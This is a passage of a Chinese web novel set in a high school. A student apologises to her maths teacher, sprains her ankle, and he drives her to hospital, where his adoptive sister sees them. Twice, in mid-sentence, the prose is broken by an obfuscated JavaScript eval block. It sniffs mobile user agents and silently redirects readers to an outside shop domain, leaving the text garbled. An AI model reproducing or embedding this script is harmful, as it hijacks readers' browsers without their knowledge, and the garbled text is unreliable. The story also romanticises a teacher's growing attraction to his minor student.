她缓缓踱着步子,不情不愿地到达了办公室门前,她望着窗户内隐约的人影,犹豫不前,生怕老师记恨她。 只得低头写写画画缓解紧张,磨蹭了好一会儿才做好心理建设,敲门而入。 从下午到晚上,秦暮野一直坐在办公桌前,把自己浸入题海,补偿性地加班,以探索在减少作业的同时,最大程度提高成绩的方法。 晚修的铃声响起,他才恍然意识到,自己已经写了那么久的教案。 他的位置靠着走廊,当然无法沐浴月光的清辉,他唯有起身走向窗边,寻求片刻放松。 天空高悬着无眠之月,月的清寒打在他的侧脸,宛如修竹映雪,皎若流光。 衬得那如玉的五官,疏冷矜贵,月光冲淡了眉眼处的英气,而是增添了些温柔。 “报告!” 熟悉的声音再度回到这里,秦暮野看向门口,恢复了往常的淡然。 “请进。” 此时的秦暮野正站在窗边,注意到她进来,他把视线从窗外收回,转而看向办公室门口,嗓音低哑,如同月光倾泻进他的声线,有种说不出的慵懒。 亦或许,是他工作了一天,真的累了。 赵栩注视着地板,底气不足地叫了一声“老师好”,便再不言语。 办公室里重新归于静默,尴尬的气氛弥漫在两人之间,尤其是赵栩,手脚都不知道该往哪里放,下意识低头摆弄着手指。 此时,就连窗外风吹的声音都那般清晰,若有似无地敲打在窗户上,好像在替他们着急。 赵栩悄悄抬眼,环视一周,注意到了他办公桌上,有一只花瓶,里面只孤零零的插着一根枝条,这似乎是从前没有看到过的。 那是一只葫芦型的橘色玻璃花瓶,葫芦状花瓶像极了一小一大堆叠起的橘子果。 再仔细一看,那橘子花枝脱离了母体,依然有着强大的生命力,含苞待放。 秦暮野的办公桌也是桌如其人,除了各类学习材料和电脑,一无所有,连张合照都没有,显得空荡而冷寂。 除了那本陈旧的钢琴曲谱,似乎没有几样有精神气的物件。 那枝为数不多的生物——橘子花枝,还是他刚入职的时候,在楼下捡到的,莫名的驱使之下就把它养在了花瓶里。 他倒是不期待花开,只是对于这支橘子花而言,哪怕结局注定衰败,但开头如梦似幻,又何尝不可。 “老师,您吃。”赵栩用笑容缓解尴尬,将放置甜甜圈的盒子,从袋子中拿出,放在他的桌子上。 秦暮野注视着她的一举一动,没有作声,继续移神窗外。 赵栩把甜甜圈安放好后,再次想起自己是来道歉的,赶忙立正站好,一时却不知道该说些什么。 秦暮野瞧着女生突然归于郑重的表情,以为是自己太过严肃,率先打破了沉默,往前迈了一步,但依旧保持着礼貌的距离。 “没交作业不是什么大事,你不需要感到不安,更不要觉得我会对你产生什么坏印象。” 为了缓解紧张的氛围,他在窗边踱着步子,有些无奈地笑着:“不用这么怕我,我又不会吃人。” 赵栩绷直的肩膀稍稍放松,深吸一口气,低下头致歉:“老师对不起。”随即补充道:“我不该身为课代表给自己行方便,带头不交作业。” 女孩诚恳的目光直直地到达了他的眼底,秦暮野本来也没有生气,只觉得她表现出的诚惶诚恐,实在有些多虑了。 如果学生看待他,总有种“高高在上”的距离感,那么……他认为自己这个老师当的很失败。 思及此处,秦暮野试着换个话题缓和气氛,启唇轻声说:“那个甜甜圈好吃吗?” 对方如此温和的语气,让赵栩摸不着头脑,她不由得怀疑老师是不是再给她下套,借此机会讲更多大道理。 “这是您的追求者送给您的,我们吃不太好。”她上前一步,把袋子放到桌子上,迅速瞄了他一眼。 这个细微的动作被秦暮野捕获到,他嘴角上扬,浅浅笑着:“拿回去吃吧。” “你除了要完成自己的作业,还要替我分发作业,就当给你的工资了。” “啊?”赵栩忽觉好笑,对这个说法不免新奇。 毕竟她上一秒还闹脾气,没法心安理得的接受甜甜圈,她思虑少许,把甜甜圈盒从袋子里拿出来,打开盖子。 “老师,您吃一个吧。” 秦暮野稍显犹疑,一时没有动作。 他并不爱吃甜食,只是如果再拒绝,好像就是不给学生面子,于是他点点头,走上前去打开盒子,把它先递给赵栩,示意让她先拿。 赵栩一脸“我吗”的表情,不敢耽搁,连忙道谢,随手拿了一个。 打开之后才看到,高油高糖的甜甜圈,亮得有点发腻,上面不仅淋了满满的巧克力酱,还和不要钱似的,撒上了一大把糖霜。 赵栩挺喜欢吃甜甜圈的,但看到这个不免牙疼,还是硬着头皮咬了一口。 甜得她腮帮子收缩,她真害怕下一秒面部就要脱水了。 她看向秦暮野,只见他用纸垫着甜甜圈,依旧面不改色。 和巴掌一般大的甜甜圈,他却吃得无比优雅,嘴边都没沾上一点碎屑。气定神闲地像个机器人,让赵栩感到无比诡异。 吃下去的东西总不能吐出来,或许,他是在死要面子…… 赵栩试探般地开口:“老师,这个太甜了,要不然您别吃了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641019|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦暮野先是稍作不解,随后便反应以来,笑而不语。 他其实只能尝出一点甜味,还能接受。 倒不是他打肿脸充胖子,只是近期吃药入睡的缘故,会对味觉造成一定影响。 不过也好……秦暮野垂下眼睑,浓密的睫毛掩住了眸中的浅笑。 难得能吃点甜的,连心情也变好了。 赵栩硬着头皮把一整个生吞了下去,嘴边都油乎乎的,却丝毫没有吃到甜食的喜悦。 秦暮野又及时递了一片湿巾给她,她尴尬接下,连忙背过身去擦嘴。 然后赵栩就这么眼睁睁地,看着他把这么个甜到掉牙的甜甜圈吃完了,语塞之余,她才想起自己的正事。 “这种求值的问题还不是太懂。”她走到老师身边,摊开卷子,指了指那道三角函数题,又抽出一张草稿纸。 秦暮野用喝水的功夫审了一遍题干,然后接过卷子,“这道题是有点绕……你们在外面可能没有听到讲解。” 赵栩对着满卷子的疑问,暗道早知如此你何必让学生罚站? 她侧着抬头,逆光看去,灯光在他高挺的鼻梁扫下一片阴影,弧度优美,自带高光特效。 “这样吧……”秦暮野看向学生,犹疑道:“等找个没事的时间,把今天没听讲解的同学聚到一起,我给你们重新讲解一遍。” 不是他不愿意讲,而是这么晚了,让学生一个人待在自己这里,终究不太合适。 “你把这个带走吧。”秦暮野把没吃完的甜甜圈装回袋子,再次递给她。 赵栩这次没再推辞,爽快接下后才离开办公室。 她生怕秦暮野犯了轴,真把这些吃完,也好进医院了。 经历了方才的插曲,办公室再度归于平寂。 秦暮野坐在办公桌前时,不知怎的心情和畅不少。 无意抬眸间,他望向花瓶中的橘子花,除了待放的花骨朵,已有花朵初绽。 他不禁弯唇,眉眼舒缓,疲倦一扫而光。 恍惚间,他却意识到了什么,立即敛起了笑容,恢复了惯有的漠然。 那束光转瞬即逝,好似那片刻的愉悦不曾来过。 他凝视着花瓶中的橘子花枝,眸中晦暗不明,有着两道看不见的羁绊,斗争纠缠,不止不休。 秦暮野攥起手心,轻微的刺痛感使他清醒,让他不得不做出非此即彼的决定。 再次伸开手掌时时,他不假思索地从瓶中取出那枝橘子花,将花枝折断,丢进了垃圾桶。 那枝迎春而绽的花,不该吹拂夏日的风。 只盼花瓣尚未怅落满山,斩断连理的枝,而不要湮灭在相思的谷。 …… 赵栩回班之后,当然不能一个人吃独食,把那盒甜甜圈给就近的同学分了。 课间时分,她吃着甜甜圈,边偷偷拿出手机,突然发现红豆app里有未读的消息。 她扫了一眼对方发来的“听老师话论”,不免苦笑着叹口气,然后重重地敲下几个字发出: [马后炮。] 她也就敢趁着对面的老师,不知道她的真实身份,才敢调侃一二。 11. 不能说的秘密(1) 第二节课结束,是例行的跑操时间,但很不巧,方才上的是数学,以至下课后老师旁边就被围得水泄不通。 赵栩和朱临清在门口等着韩明月一起下楼,左等不来,右等不到,却发现紧挨在老师身边,这道题也听,那道题也听,就是不开口问。 瞧着她那副瞻前顾后的样子,朱临清嫌她耽误正事,要闯进班里把人拽出来,却被赵栩拉住,摇摇头,“让她问吧,能多听两道数学题,正好提高一下。” “栩栩你脾气真好。”朱临清暴躁老姐上身,冲班里扬扬下巴,“老师给她讲题都得算工伤!” 韩明月正好问完题出来,笑得灿烂,对上朱临清审视的目光,不敢再嬉皮笑脸,正正神色,一左一右挽起姐妹们的胳膊。 朱临清怒极反笑:“你不是买了小猿搜题的包年会员吗?有等着的那空档,你都能听三道题的解析了,何苦在那里浪费时间?” “那……能一样吗?”韩明月摸了摸鼻子,本着“薅秃羊毛”的心思,底气不足地反驳:“小猿老师哪有小秦老师讲得好?” “……那你让秦老师陪你跑操吧。” 朱临清无言以对,翻了个天大的白眼,不屑于与之为伍,直接拉着赵栩走了。 赵栩跟在后面忍不住偷笑,说实话,她很羡慕韩明月和朱临清这种互怼的关系。 高一的时候她独来独往,没有朋友,进入高二分班后和韩明月成为同桌,而韩明月和朱临清高一就是朋友,一来二去,三个人就玩到了一起。 “好多人啊……”朱临清拉着人走到楼梯口,发现楼梯间人头攒动,都挤在一处等着下楼。 正值下课高峰期,两个年级的学生要下楼跑操,楼梯间比肩叠踵,让人喘不动气。 身高一米七七的朱临清倒不怕走散,而是紧紧挽着赵栩,生怕她跟丢了,韩明月则扯着赵栩的袖子,三个人并成一列,小心翼翼地下楼梯。 “你来追我啊……” “如果你能追到我,我就让你嘿嘿嘿……” 刺耳的调笑声在吵嚷的教学楼内分外清晰,引得旁人纷纷侧目而视。 赵栩稍稍偏头,原来是有两名男生在窄小的楼梯间打闹,丝毫没有礼让行人的意思,旁若无人地闹腾,且两人就在她们的斜上方。 “真没素质……”身旁的同学抱怨了一句。 赵栩蹙起眉头,专注于走路,却在还差三级台阶到底时,一只手重重地打在了她的肩头…… 此时的赵栩才抬起脚打算向下迈,突如其来的巴掌让她的重心前移,女孩立刻慌了神,脚下错步,一个踉跄向前倒去,在众人的惊呼声中侧身倒在了地上。 “没事吧!” 其余两个女生面对意料之外的变故,韩明月慌了手脚愣在原地,反应过来后,在始作俑者的男生身上狠狠捣了一拳。 “你们是不是有病!” 她骂完这句后,不忘狠狠剜了他们一眼,紧接着来到赵栩身边,疏散人群。 朱临清则是三步并两步下来,蹲在赵栩身边,担忧不已,问:“栩栩你疼不疼?” 赵栩眉头紧锁,咬着嘴唇,从齿缝里努力挤出一句话: “不太妙。” 侧身摔下来时,她的脚踝一崴,一阵强烈的痛感从脚腕沿着小腿直击天灵盖,扭伤处传来强烈的撕裂感,拉扯着她的痛觉神经。 哪怕赵栩是个能忍的性子,面对这般剧烈且陌生的疼痛,都无法再保持镇定,额发间冒出了点点冷汗。 痛楚冲淡了女孩眼眸里的光,眉眼处几乎被疼痛的重量压成一条线。 据朱临清判断,对方一时半会应当是站不起来,于是示意韩明月:“你抬着栩栩的脚,我们一起把她送医务室去。” 赵栩虽然不重,但两个女生以极其别扭的姿势抬人终究困难,尤其是韩明月才碰到赵栩的小腿,就传来痛苦的闷哼声,令她愈加不敢妄动。 “我来吧!” 三人顺着声音的来源,从围观群众里,一眼就发现了不知何时出现的徐仲仪。 男孩紧锁眉头,嘴唇抿成一条线,狠厉的视线扫过肇事的两个男生,却连带吓得周围一圈人不敢吭声,议论声骤然平复下来。 他半跪在地上,把胳膊垫在赵栩的脖子后,又用手托住对方的腿弯,性情豪放的他,此时动作却小心翼翼,手上的力气都和缓了许多,生怕牵动她的痛处。 为着常年举铁,他抱起女生来易如反掌,体型差对比之下,女孩在他的怀里显得无比小巧。 “你干嘛?!”赵栩突然被腾空抱起,而且是以这么亲密的姿态,羞得脸颊通红,下意识抬手去推他的肩膀,却像是摸到了铁板。 明明抱着个人,徐仲仪下起楼梯如履平地,听出对方语气中的羞怒,接着垂眸看向赵栩,睫毛颤了颤,眼神即刻转温,柔声提醒: “别动,不然你会掉下去。” 男生沙哑的嗓音在她的耳边响起,像是颗粒糖摩挲着她的耳膜,其中粉红色的那颗被他的体温化开,悄悄晕染了女孩的耳垂。 “那是徐仲仪吧?我没进高中就听说过他,没想到长得还挺帅!” “他长得那么凶,对女朋友还挺好的……” 谣言在吃瓜群众之间迅速发酵,男生见义勇为的行为,很快就被一众性缘脑曲解,而后如同病毒般,一传十十传百,煞有介事。 围观的同学都忘记了下楼跑操,有的甚至拿出手机拍照,都在围观学校的风云人物徐仲仪,同时连带着上过多次表白墙的赵栩。 两人合在一起,热议效果简直加倍! 赵栩知道自己已然成为讨论中心,愈发不敢去听去看周围人的反应,手足无措之下,用手捂住脸,欲盖弥彰,却遮不住红透了的耳朵和脖子。 她只想以最快的速度逃离地球,哪怕让她去火星上种土豆。 女孩的极速升高的体温,顺着接触的衣服布料传递到徐仲仪的身上,刺激得他心脏狂跳,差点要冲出嗓子眼。 他怕赵栩发现自己情感上的异样,清了清嗓子掩饰尴尬,同时在心里大声喊: 能不能不要跳这么快啊,很尴尬的。 赵栩努力不和他产生身体接触,可还是不免与之触碰,更能清晰感受到对方胸膛传来的震动,出于尴尬,她把把身子缩了缩,减小与他的接触面积。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641020|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的这一意图很快被徐仲仪发现,他低下头,望着女孩红里透白的脸颊,把躁动的心竭力了回去,喉咙发干,结结巴巴地说: “你……要不然搂着我的脖子,离医务室还有一段距离……” “不用了。”赵栩巴不得把脑袋缩回脖子里,声音在嘴间打转转,便再度低下头去。 其实一路走来,她一直都能闻到若有若无的葡萄香,起初她以为是谁在吃糖,可仔细嗅嗅,发现居然是徐仲仪衣服上传来的。 和那些身上有汗味的男生不同,他的衣服整洁且清香,明明当惯了大少爷,身上只穿着普通牌子的短袖。 这个看似痞气的男生,竟然在用葡萄味的沐浴露,想到这里,赵栩无声地笑了,抬眼望着他棱角分明的轮廓,突然把徐仲仪看顺眼不少,脚腕的疼痛似乎也忘记了。 …… 秦暮野这几日加班过度,昨夜走得太晚意外着了凉,嗓子略微有些沙哑,故而下课后到校医务室买点感冒药。 这一买不要紧,直接被健谈的陈医生拉着,站在医务室门口聊天,聊起来就不放人。 陈医生是位健谈的中年妇女,此时尽显七姑八姨的催婚本能,询问道:“秦老师啊,有没有女朋友?” 秦暮野不善言辞,也从没想过这个问题,但出于礼貌还是微笑应答:“还没有。” 陈医生一拍巴掌,兴奋地说:“我有个侄女,年龄和你差不多大,在清华学自动化,说起来和你还是校友呢……” “小姑娘温柔漂亮,改天介绍你们认识认识,就当交个朋友。” 面对同事自来的热情,虽说直接拒绝会伤及面子,但态度不明肯定更不行,于是秦暮野委婉拒绝:“谢谢您,我现在也没房子,还没想过结婚的事。” 这话说的真假参半,就凭他高中老师那点工资,如果白手起家,在不贷款的情况下,得工作到四五十岁,才能在这片寸土寸金的地市买上个像样的房子。 当然,他的母亲在全国各处,给他留下了多套房产,倒是不愁住的地方。 一听到没房子,陈医生的陷入了沉思,心想这位秦老师从各方面条件来讲,那真是万里都难挑一。没房子也是可以原谅的嘛 毕竟都长这么帅了还要什么自行车! 所以…… 他还可以入赘! 正当陈医生打算说出“入赘论”,远处的徐仲仪阔步而来,秦暮野无心再听,偏头看向走廊方向,眯起眼睛。 起初是惊讶,接着眸光归于平淡。 徐仲仪怀里抱着赵栩,身后跟着韩明月,打眼一瞅都能明白过来怎么回事。 “老师老师!”徐仲仪本就是个急性子,此时更是着急得不行,先向秦暮野点点头,紧接着向陈医生汇报情况:“老师,她从楼梯上摔下来,脚崴了。” 听到周围的喧嚣声远去,赵栩断定走出了人群包围处,松了口气,才敢把覆在眼睛上的手移开。 才挪开手掌,她便触及到了那双幽深的桃花眼,惊得她立刻别开目光,心虚得不行,暗叫苦不迭: 与其让老师撞见被男生抱在怀里,还不如被人议论呢。 12. 不能说的秘密(2) 以这样一种奇怪的姿态和老师见面,加剧了赵栩想要去火星种土豆的想法。她的脸颊像是能滴出血,慌忙别开脑袋,却猛地撞在了徐仲仪的胸口处。 这一下,撞得徐仲仪受宠若惊,他先是一怔,而后嘴角止不住地上扬,羞涩冲淡了少年的桀骜,在其斜后方的韩明月,仿佛看到了无形的尾巴摇啊摇。 男孩的胸膛像是铁壁,赵栩的额头微微吃痛,小声说:“谢谢,要不在这里把我放下来吧。” “不差这几步了。”徐仲仪垂眸,轻声回应,随后抱着人向医务室的门口走去。 秦暮野若无其事移开视线,往后迈一步闪开门口,而后半张脸都落在了阴影里,看不清楚脸色。 光线明暗两处,将学生与老师隔开。明明只是一道虚无的界限,哪怕再往前一分一毫,他都望而却步。 他正打算离开,却被医务室里的陈医生喊住:“秦老师!你药还没拿呢!等我给小姑娘看完病就给你开药。” 一时间,秦暮野走也不是不走也不是,刚迈出去的步子,只得收回。 赵栩被放到病床上后,有些不好意思:“真的很感谢,麻烦你了。” “和我客气什么。”徐仲仪认真地注视着她,还想再嘱咐些什么,被朱临清拉开,“你往后点,医生要看病。” 陈医生走上前去,看向女孩红肿的脚腕,以手摸骨,便得出结论:“这是扭到骨头了,应该不太严重,但为了保险起见还是建议去大医院看看。” 赵栩试着转动脚腕,倒是没有先前那么疼了,可仍是有不适的刺痛感。 为了不麻烦别人,也为了不占用学习时间,她试探般地问:“我现在没那么疼了,要不然再看看,实在不舒服再去医院。” “等什么等啊!”韩明月把徐仲仪一推,挤到前面,“你是不是又觉得会麻烦谁,所以不想去医院?” 她对赵栩喜欢周全别人、委屈自己的秉性再熟悉不过,韩明月自己被家里宠惯了,属于有话就说,有要求就提,所以看不得朋友这么瞻前顾后。 赵栩见心事被戳中,连忙摇头,“没有没有。” 在门外的秦暮野,在走廊里踱着步子,早就把里面的话听得一清二楚,几番走到医务室门口,都会无意识地放慢脚步。 陈医生不会开车,但此刻把女孩送去医院是头等大事,她想了想,注意到门外的秦暮野,打算人尽其用: “秦老师!你上午没课了吧?能不能麻烦你把我和小姑娘送去市立医院?” 秦暮野蓦然止步,刚好停在走廊的明暗交汇处。停顿片刻,他便即刻走进屋子里,点点头:“好的。” 接着,他转向学生们,嘱咐道:“麻烦你们了,先回班吧,剩下的事交给我来处理。” 两人表示都想跟着去,赵栩知道他们也是出于关心,所以愈加不愿为别人造成麻烦,面露难色,秦暮野看出了她的为难,替她婉拒了同学们的好意,难得开起了玩笑: “你们如果一下子都去了,车里载不了那么多人先不说,我还要请你们这么多人吃饭。” 老师已经拒绝了带他们一起出去,何况还有陈医生跟着去,他们也不想让赵栩心有负担,便不再坚持。 韩明月把赵栩扶了起来,这时朱临清进来了,她方才转道回了趟教室,把她的手机、证件,和一瓶小矿泉水都收拾到了兔子挎包里,然后挂在了朋友的脖子上,叮嘱道:“有什么事情给我们发消息。” 徐仲仪本也想上前去扶,却刚走出一步,就被数学老师不动声色地挡在前面,不知道是不是他的错觉,总觉得今天老师身上的薄荷味分外清冷,像是一道没有温度的屏障,将他和赵栩隔开。 …… 赵栩一直胳膊被陈医生搀扶着,一只手拄着拐杖,虽然行走不便,她亦不愿让人看到自己一瘸一拐的窘状,唯有努力让走路的姿势看起来正常。 而这样的代价就是,脚腕处的扭伤处,因为强行弯曲而牵动受伤的部位,阵阵钝痛沿着骨头蔓延而上,强烈的不适感让她咬紧牙关,拧起眉头。 走在她身后的秦暮野,目睹了这一切,心里没来由的随之下沉,却无能为力。 他头一次觉得从教学楼到停车场的距离,原来可以这么长。 所幸距离并不算远,且秦暮野那辆黑得发亮的奔驰格外显眼,他阔步超越了前面两人,打开副驾驶车门,赵栩在陈医生的搀扶下,一半身体先坐在了座位上,可是她没伤的脚悬空在外,伤了的脚才在车里却使不上力,就只能以一个尴尬的姿势半坐在位置上。 陈医生身材偏胖,行动较为不便,又怕弄疼了小姑娘,只得求助般地看向秦暮野。 秦暮野心领神会,却踟蹰不前,毕竟和学生肢体接触这种事,实在不太方便。 矛盾之间,赵栩身下的坐垫慢慢下滑,而她的校服裤子又是针织棉布料,摩擦力小,待她反应过来不对时,手边竟没有可以搀扶的支撑点。 眼看人就要掉出车外,秦暮野行动比认知快,眼疾手快,一只手扶在她的肩膀上,一只手拢住了她的腿弯。 而后毫不费力地把女生抱起来,把人放到了副驾驶上。 车顶高度限制住了他一米九的身高,他整个上半身以一种极其拘束的姿势探入了车里,原本狭小的空间一下子挤了两个人。 赵栩把后背紧贴在靠椅上,冷冽的气息瞬间将她包围,她悄悄打量着他高挺的鼻梁,喉咙一动。 老师的侧脸近在咫尺,自我保护机制诱发的不安定突然袭来,隐秘的过往伴着记忆闪回,咽不下吐不出的厌恶感让她感到不适。 她当然知道,秦暮野对她没有恶意,更没有任何逾矩的举动,可她就是莫名抗拒陌生男性的靠近。 想到这里,她下意识扭过头去,以掩饰自己的不悦。 突然,她似乎闻到了有别于薄荷香的香气,陌生之余,一种近乎安抚的舒适很快充盈在胸腔,逐渐消解了那份不安全感,让她慢慢平静下来。 秦暮野把人调整好后,接着去寻找安全带,稍稍偏头,看到了女孩紧绷的神情,眉眼中透出稍许郁结。 突如其来的复杂情绪蔓延开来,他自知失礼,迅速移开目光,叮嘱道:“记得系上安全带。” 随后起身时,那张英俊的脸在赵栩的眼前一闪而过,可她的鼻翼还是感受到了一阵温凉的风。 放慢镜头看,对方的睫毛长而卷翘,扭头离开的瞬间,似乎轻轻扫过她的鼻梁。后知后觉间,怦然的酥痒感挥之不去,让她有些心烦意乱。 … 今天是工作日,医院里的人数依然不减,陈医生带着行动不便的赵栩,在熙来攘往中为她挡开冲撞的小孩子。 秦暮野则是拿着她的证件去办相关手续,待回来后,明显地察觉到了两人的异样。 原来是陈医生的儿子在学校里突然腹泻,需要家长接回去修养,老师的电话打到了她的手机上,可她又不能丢下学生不管,一时犯了难。 秦暮野迟疑稍许,便主动提出:“陈医生,您去接儿子吧,这里有我呢。” “这……”陈医生有些举棋不定,但思及秦老师是个靠谱的人,就应了下来,放心地把人和兔子挎包交了出去。 陈医生走后,秦暮野拎着兔子挎包,继而坐在了赵栩右边的右边,刻意将中间隔开。两人各望一方,在等待叫号的时间没有任何交集,若非知情人士,只会以为他们是陌生人。 等候区前来来往往,走走停停,师生两人却游离在这份喧闹之外,沉浸在自己的世界里。 上午挂骨科的病人比较少,等了半小时左右,就叫到了赵栩的名字。 她保有了学生的敏感度,一听到自己的名字,立刻站起来,却忘记了自己脚上有伤,借助拐杖才没有摔倒。 眼见她这样莽撞的行事,秦暮野看似冷眼旁观,其实在心里为她捏了一把汗,身为男老师又不能上前搀扶,只能在合适的距离内,寸步不离地守着。 赵栩站定在诊室门前,条件反射般地喊了一声:“报告!” 话音刚落,秦暮野假意扭头看一旁的大夫简历,实则唇角微微上扬,浮现出一丝不易察觉的笑意。 “我……”赵栩被自己蠢笑了,不敢吭声,脸红得像是能掐出樱桃汁,顺便染红了身上那件淡粉色的毛衣。 “好了好了,进去看病吧。”秦暮野控制住 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许是最近季节性感冒频发,两人从科室出来后,明显感受到人.流量变大。 赵栩拄拐走得偏慢,却发现身后有人,不由得加快速度,生怕妨碍到别人。 “不着急,慢慢来。”秦暮野稍稍俯下身子,声音沉静而有力,有着莫名抚慰人心的力量,让赵栩不再着急于走路。 此时,他们身后突然响起一道不耐烦的声音: “怎么走那么慢啊,不知道大家都忙啊……” 听到这话,两人皆是一愣,赵栩气闷得很,心道没看见人家拄着拐吗?本想转身反驳,秦暮野却停下脚步,转过身去,眉峰轻蹙。 “有什么问题吗?” 平日他说话一定会带上敬语,而这次却省略了这一步,足可见不悦。 那双深沉的眼眸中隐含冷意,衬得凌厉的五官愈加不近人情,加之身高过于突出,给人的压迫感十足,让抱怨的男子不敢再吭声,只得改道而行。 男子走远后,赵栩抬眼看向秦暮野,弯起漂亮的眼眸,“谢谢老师。” 秦暮野淡淡点头,“快到扶梯了,小心点。” “啊!” 赵栩这才注意到,自己的鞋带开,还偏偏是没伤的那只脚,她怔怔地盯着鞋带,叹了口气,心想真是诸事不顺。 “老师,您能帮我拿一下拐杖吗?”她垂眸示意。 秦暮野也发现了,同样考虑到,她如果用伤脚撑地系鞋带,肯定会加重病情。 平静的神情之下,一股不该有的纠结充斥在他的脑海里,本来是件不大的事,却在他的心里被无限放大,片刻的安宁再次被打破。 算了…… 眼见赵栩因伤痛而微颤的脚踝,秦暮野终究不忍,把小兔挎包挂在脖子上,随即半跪在地,眼眸中掠过一丝无奈。 “我帮你系。” 赵栩慌了神,下意识把脚往后缩,急忙拒绝:“不用了这多不好意思……” 虽然她极力反对,但秦暮野当作没有听见,直接拉住了两根鞋带,开始了生平第一次帮别人系鞋带的体验。 可明明只有简单的两根线,他却一时难寻鞋带的两端,线头在手中纠缠如误,绞得更乱。头脑清晰的她,竟也迷失在注定的羁绊中,曲折迂回间,再也找不到来时的路。 他为她低头的那一刻起,便清醒地知道: 他越线了。 恍惚间,哗然一片的世间不再言语,仿佛全世界都与他们擦肩而过,赵栩整个人像被冻在了原地,莫名的情绪陷入滚滚红尘向她涌来。 她默默地注视着那个认真的后脑勺,视线又移到他脖子上挂的兔子挎包,唇角微弯。 女孩的颊边痣像极了漫过海岸,若隐若现的鲸鱼,在深海中独舞。 距离他们不远处是两个女大学生,其中一人看到熟人不由得驻足,从起初的不敢置信,到看清楚之后的大为震惊。 “暮谣?那是不是你哥?”朋友晃了晃周暮谣的手臂,见其目光呆滞,加重了晃动胳膊的力度。 13. 不能说的秘密(3) 当下春季流感盛行,周暮谣又忙于课设,熬夜画CAD的时候不慎中了招,还有越来越严重的势头,故而今天上午,她上午和学校请了假,和朋友结伴来医院看病。 从诊室出来后,周暮谣掂了掂手里的一大袋子药,忽然想到哥哥最近也感冒了。 她打的小算盘是,可以趁机去给他送点药,顺便吃个饭! 想到这里,周暮谣唇角露出一对酒窝,可在抬眸间,便注意到不远处的一男一女,笑容即刻凝滞。 远处的男子单膝跪地,低眉顺目,为女孩系着鞋带,而女孩稍显局促,有些不自在。 见此堪称违背常理的场景,周暮谣瞪圆眼睛,眼神僵住,两只脚像钉在了原地,挪动一寸都费事。 从来不苟言笑的哥哥,居然无比耐心地在给女生系鞋带? 她化花费了好大的气力,都没法消化面前一幕,久久难以回神。 女孩子心里从最初的难以置信,逐渐发酵出说不清道不明的酸意,漫上那双纯稚的眼睛,眼神亦变得尖利。 “你哥哥是谈恋爱了吗?”朋友没有察觉到闺蜜的沉闷,火上浇油了一把。 周暮谣很是不开心,眉毛都耷拉下来了,用近乎阴阳的语气说道: “他也到了该成家的年纪,是该谈恋爱了。” 说完,便不顾朋友的八卦之情,仔细观察着不远处两人,不放过任何一个细节。 在周暮谣的印象里,哥哥秦暮野无论何时,都是一副淡漠的姿态,天塌下来,都是喜怒不形于色的表情。 她刚从孤儿院被养父周陵领回家时,年仅6岁,早早尝过人世冷暖的她,比一般小朋友要早熟不少。 当时正逢秦暮野刚刚丧母,周暮谣自小心思敏感,本以为他会在人生最低谷时,借机排挤她,作为情绪的发泄口。 出乎她意料的是,哥哥非但没有刁难她,而且对她以无微不至的照顾,完完全全把她当成亲人看待。 等年龄更大一点,周暮谣心里对哥哥的感情逐渐变了质,对于他更是患得患失。 生怕他有一天知道她的这份心意,会不要她。 秦暮野大学毕业后,亲戚们为了缓和与他的关系,也不是没给他介绍过从家世学历相貌匹配,各方面条件顶尖的女孩,不过他都没多看一眼,直接拒绝,以至单身至今。 凝视着两人,周暮谣在妒忌之余,倒是多了些好奇,那到底什么样的女孩…… 站在一旁的朋友逐渐感受到了低气压,不敢多言。 作为周暮谣的朋友,她也不好猜测别人的家务事,更不甚确定那一男一女的关系,直到…… 在一片喧豗浮躁的影子中,周遭沉闷压抑,看似人声鼎沸的医院里,空气仿佛凝滞在这片没有人情的地方,无声的阴霾缓缓降临,模糊了匆匆的身影。 可唯有男子的那双眼睛,在抬头注视女孩的刹那,落入了细微的光点,虽然有一方纱雾想要竭力隐去光影。 但如星火一晃而过,散发的余温难以掩饰来过的踪迹。 …… 周暮谣和朋友从医院出来后,再次碰到秦暮野。 待师生两人开车走后,周暮谣找了个借口把朋友支走,自己打了辆车,不近不远地跟着,就当是满足好奇心了。 上了出租车后,周暮谣严阵以待地盯着前方,势要看清哥哥的“女朋友”长什么样子,其眼神之犀利,让司机师傅都不敢与之闲聊。 从医院出来后,赵栩再次坐回副驾驶,望着窗外的风景,对学校外面的世界有些恋恋不舍。 海岸线若隐若现,提醒她已近海边,她忽然想到什么,低头摆弄了一会儿手机,然后有些为难地看向秦暮野,犹豫着要不要开口。 “怎么了?”秦暮野抬眼看向后视镜,注意到了她的左顾右盼。 赵栩犹豫片刻,缓缓开口:“老师,我在手机上买了咖啡,想去店里取一下。” 秦暮野即答:“没问题,店在哪里。” 赵栩见他答应了,嘴角绽开笑容,“就海边的那家橘海咖啡店,在店里还能看到海。” 听到这个名字,秦暮野神色微怔,握紧方向盘,唯有凝视前方,才能暂时忘却那些深埋已久的回忆。 “好,现在就过去。” 那双桃花眼里掠过慌乱,不过转瞬即逝,便再度恢复正常。 许是没有到饭点,街上的车流量较为松散,他的奔驰车一路畅行无阻,而咖啡店与医院同属一片辖区,靠近海边,开车不多时候就到了。 店周围的车辆并不多,秦暮野找到一处空旷的位置停好车后,说:“码是多少?” “嗯……”赵栩指了指手机,“您先通过一下微信好友申请,我发给您。” 